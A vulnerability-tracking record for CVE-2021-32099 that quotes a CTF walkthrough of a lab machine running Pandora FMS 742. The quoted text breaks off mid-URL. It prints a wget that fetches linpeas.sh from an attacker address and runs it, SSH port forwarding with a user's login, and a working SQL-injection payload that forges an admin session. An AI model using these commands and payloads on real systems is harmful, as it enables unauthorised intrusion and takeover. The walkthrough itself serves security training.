{"uuid": "c2f34b67-cc4a-4d9f-b4e8-ce3387ec67a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "https://t.me/hacking_Attack/81242", "content": "linpeas.sh in the target /tmp directory and gave execute permission with chmod 777 and simply executed.\ncd /tmp\nwget 10.10.14.3/linpeas.sh\nchmod 777 linpeas.sh\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieY8gDAt-YQtA5xLQEA7pHD8EqSIan2sbOQ5ZNYDYxmangWH191K4wCrb-dB8TWI-aILbyoK1VFDukN98skvdB6gYYXchGWhr5zqz-F_IseMSyH79Z_YwAIxwvmTAJf-XZevOdf9Jx8rwNyN79jBjBKNs7wftFy6mwvJobhS_Z9SiPJo3pun7ZyHzwng/s16000/6_1.png?w=640&ssl=1 \n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpkT9BtNTPTAopP1c3HZh2aTG-y9FKqv_QyEeAYG4sDddXusJqzBlnk-Ub8YgamgtJQqEvXRwrX13MV9re10xDubJJ21EjF9ibK38SD0vQVJAX-mE5PSgpqJ69iAxxQaX4oTACjxaa0CdmTxtdT1o5HXbpN0IdEJs9u61Tu1nLvDZHlOZzg71SMphZpQ/s16000/6_2.png?w=640&ssl=1 \n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS54nArAAM0A9bfjOkXXTJIoc_WW4ZmDQ8c6ehvTP6iRKGm1f2ZtS1CsV8VuZjTUChPWdykevkGK_FlFgp-1WjvGyWSo8m2xWfgBVBOpIURlbzOpa_n3PmFUigX9G4F_-TfUwF-p4g1acjqeFAcCumE58VGVSJwA61Fes_U9RWmI_khhredSt59GArkA/s16000/6_3.png?w=640&ssl=1 \n\nFrom the linpeas result, we noticed a SUID pandora_backup is there which is an uncommon system binary, so we decided to find out more about it. Owner of this file is root, but matt has execution permission. Also, the web is hosted on an internal server which is only accessible from the internal port which means we cannot access it directly from our Kali machine but if we manage to forward its local host port to our kali machine then we can access it. If we give a closer look at the picture above, pandora.panda.htb is running on port 80 which is hosted from /var/www/pandora. Additionally, we can also assume it by checking the config file in which is available in the /etc/apache2/sites-enabled directory. Port ForwardingAs we know there is a service running on local port 80. We decided to use the local port forwarding technique here. It can be done from kali machine if we have valid credentials.\nssh -L 8084:localhost:80 -N -f -l daniel 10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhilHFfQkXLNAtfjn9fG6-P8cUJXicHlOsPvjLP2NSeeYpXJ97LKgYq5TRPW0aQxzR3U6E1xxAWpnyBXMpEHwkp4tnCZ99vsgM6J_XRzkAAVA6lUevQhz6OcVnUxFOj4fB37n8pjaOL4mkgJ3_I3qpa-LR-jKCIb8rsS16i0UVPiezmW2DpMq2_SRkyXg/s16000/7.png?w=640&ssl=1 \n\nFlags features:\n\n-L\u00a0\u00a0 : Listening port on Kali\n\n-N\u00a0\u00a0 : Do not execute any remote command\n\n-f\u00a0\u00a0 : Run in the background\n\n-l\u00a0 : Username \n\nAfter local port forwarding, we can access the service which was running on the target internal port. An interesting finding came up and lead us to the pandora login console.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghsy1UZE8TIw4fIUx4ngqaDh6-PuvCsGiB-zoY-Hd9TYmxqJ-reNUDdb5tyQBY8o1UWKQEYMLaEryd30rujCjvfjbBeG2g7n8BVlgfgcEna8l6VXSioLB2dkDw_znkWWcw0KzoKckZghQG-VPIQyhwyMBmakGQQQac9m5_aym9wxKw-0Rdc9Zxhkgy5Q/s16000/8.png?w=640&ssl=1 \n\nWhile enumerating the console we found a CMS with version is there on the right bottom side of the page: v7.0NG.742_FIX_PERL2020.\nhttp://localhost:8084/pandora_console/ \nAfter a few searches on google, we found Pandora FMS 742 is vulnerable to SQL injection. Detail information about the vulnerability can be found below: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained CVE-2021-32099 SQL Injection ExploitationThe blog had detailed information about the vulnerability but no POC or exploit code was available then we search for the CVE number so we can expand and filter our search on google to find out the exact resource that we are looking for. We found CVE-2021-32099 belongs to this vulnerability and found an exploit encoded POC in the Github.\n\nReference: https://github.com/ibnuuby/CVE-2021-32099\n\nWe decoded the URL and tested this payload against the target. Decoded payload:http://localhost:8084/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:\"admin\";' as data FROM tsessions_php WHERE '1'='1 \nhttps://i0.wp.com/blogge[...]", "creation_timestamp": "2026-09-02T01:01:29.531679Z"}